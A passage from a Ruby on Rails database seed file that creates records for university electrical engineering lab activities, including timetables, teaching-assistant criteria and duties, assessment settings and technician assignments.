ActivityProgramme.where(activity_id: a293.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a294 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"121\").first_or_create!(name: \"Permanent Magnet DC Machines\",\n name_abrv: \"DCMACH\", archived: false, in_drive: false, user_id: 3)\n at294 = ActivityTimetable.where(activity_id: a294.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a294.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a294.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a294.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a294.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a294.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a295 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"123\").first_or_create!(name: \"Power Amplifiers\",\n name_abrv: \"AMP3\", archived: false, in_drive: false, user_id: 4)\n at295 = ActivityTimetable.where(activity_id: a295.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"Must come after Operational Amplifiers (not Op-Amps)\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a295.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a295.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Assist students in soldering components onto a PCB to construct a range of amplifier circuits (op-amp and BJT designs)\n Explain to students how feedback operates in analogue amplifier circuits and the effect of moving the feedback path on signal distortion\n Guide students to explore signal distortion and clipping, and to observe the effect of diode drop voltages in amplifier circuits\n Ensure that students solder safely and accurately on a challenging PCB\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a295.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a295.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a295.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a296 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 2)\n at296 = ActivityTimetable.where(activity_id: a296.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a296.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a296.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a296.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a296.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a296.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a297 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"124\").first_or_create!(name: \"PWM Inductive\",\n name_abrv: \"PE2\", archived: false, in_drive: false, user_id: 5)\n at297 = ActivityTimetable.where(activity_id: a297.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a297.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a297.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a297.id).first_or_create!(assess_weight: nil, notes: \"Assessed with PWM Resistive - should really be combined\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a297.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a297.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a298 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at298 = ActivityTimetable.where(activity_id: a298.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 27, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a298.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a298.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a298.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a298.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a298.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a299 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"125\").first_or_create!(name: \"PWM Resistive\",\n name_abrv: \"PE1\", archived: false, in_drive: false, user_id: 2)\n at299 = ActivityTimetable.where(activity_id: a299.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"PE1 and PE2 are effectively a 2 part lab, a continuation of the same experiment. Try to keep them close for each student - same week or consecutive weeks\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a299.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a299.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a299.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a299.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a299.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a300 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"128\").first_or_create!(name: \"RLC Circuits\",\n name_abrv: \"RLCC\", archived: false, in_drive: false, user_id: 4)\n at300 = ActivityTimetable.where(activity_id: a300.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a300.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a300.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a300.id).first_or_create!(assess_weight: 30.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a300.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a300.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a301 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"129\").first_or_create!(name: \"Simple Single Transistor Amplifier\",\n name_abrv: \"BJT\", archived: false, in_drive: false, user_id: 1)\n at301 = ActivityTimetable.where(activity_id: a301.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions. The two sessions should be as close as possible. Ideally on consecutive days.\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a301.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"BJT\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a301.id).first_or_create!(criteria: \"Must be familiar with simple transistor (BJT) circuits\n Must be confident constructing circuits and using digital multimeters and signal generators\n Must be confident helping students draw graphs and draw conclusions from measured data\",\n job_desc:\"Help students construct simple circuits using bipolar junction transistors\n Assist students to make current and voltage measurements on\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a301.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 2)\n ActivityTech.where(activity_id: a301.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a301.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a302 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER223\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 3)\n at302 = ActivityTimetable.where(activity_id: a302.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a302.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a302.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a302.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a302.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a302.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a303 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"130\").first_or_create!(name: \"Switching Transistors\",\n name_abrv: \"PT\", archived: false, in_drive: false, user_id: 2)\n at303 = ActivityTimetable.where(activity_id: a303.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 40, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a303.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Switching Transistors\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a303.id).first_or_create!(criteria: \"Must be familiar with MOSFET power switching circuits\n Must be comforatble using an oscilloscope\n Must be able to safely set up and troubleshoot high power switching circuitry\n Must be familiar with resitive and inductive loads\",\n job_desc:\"A single lab session exploring MOSFETs used to drive both resistive and inductive loads. You will need to support students performing simulations in Simulink and interpreting current/voltage graphs. You will then need to help them construct a switching electronics system, using AC power, MOSFETs under FPGA control and an oscilloscope.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a303.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a303.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a304 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"131\").first_or_create!(name: \"Transformers\",\n name_abrv: \"TFM\", archived: false, in_drive: false, user_id: 5)\n at304 = ActivityTimetable.where(activity_id: a304.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a304.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Transformers\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a304.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a304.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a304.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a304.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a305 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE117\").first.id, code: \"132\").first_or_create!(name: \"Transformers & Coupled Circuits\",\n name_abrv: \"TFCC\", archived: false, in_drive: false, user_id: 2)\n at305 = ActivityTimetable.where(activity_id: a305.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 5, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 90, takedown_time: 90, notes: \"210 minutes x 2 sessions. 2 sessions should be same week or as close together as possible\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a305.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"Transformers Coupled Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a305.id).first_or_create!(criteria: \"Must be familiar with transformers and inductors\n Must be familiar with high voltage AC circuits\n Must be confident checking the safety of high voltage and high current experiments\n Ideally confident in theoretical transformer models and how to measure the deviation of experiment from ideality\",\n job_desc:\"Help students measure the efficiency and other characteristics of transformers\n Identify differences between ideal transformers and experimental characterisations of real transformers\n Ensure that students make high voltage and high current measurements safely, including checking risk assessments before commencing work.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a305.id).first_or_create!(assess_weight: 7.5, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a305.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a305.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a306 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 5)\n at306 = ActivityTimetable.where(activity_id: a306.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a306.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a306.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a306.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a306.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a306.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a307 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 3)\n at307 = ActivityTimetable.where(activity_id: a307.id).first_or_create!(duration: 210, kit_prep_time: 1400, min_week_num: 2, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a307.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a307.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a307.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a307.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a307.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a308 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"133\").first_or_create!(name: \"Transient Signal Measurements\",\n name_abrv: \"WS2\", archived: false, in_drive: false, user_id: 2)\n at308 = ActivityTimetable.where(activity_id: a308.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: 4, max_week_num: 8, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a308.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"WS2\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a308.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Provide guidance to students on advanced oscilloscope skills i.e. data export and specialist triggering/measurement modes\n Train students to calibrate oscilloscopes before use.\n Explain principles of diode rectification and demonstrate them using LEDs soldered on a PCB\n Supervise students to safely solder a small PCB using a circuit diagram to guide them - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a308.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a308.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a308.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a309 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at309 = ActivityTimetable.where(activity_id: a309.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a309.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a309.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a309.id).first_or_create!(assess_weight: 6.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a309.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a309.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a310 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at310 = ActivityTimetable.where(activity_id: a310.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, 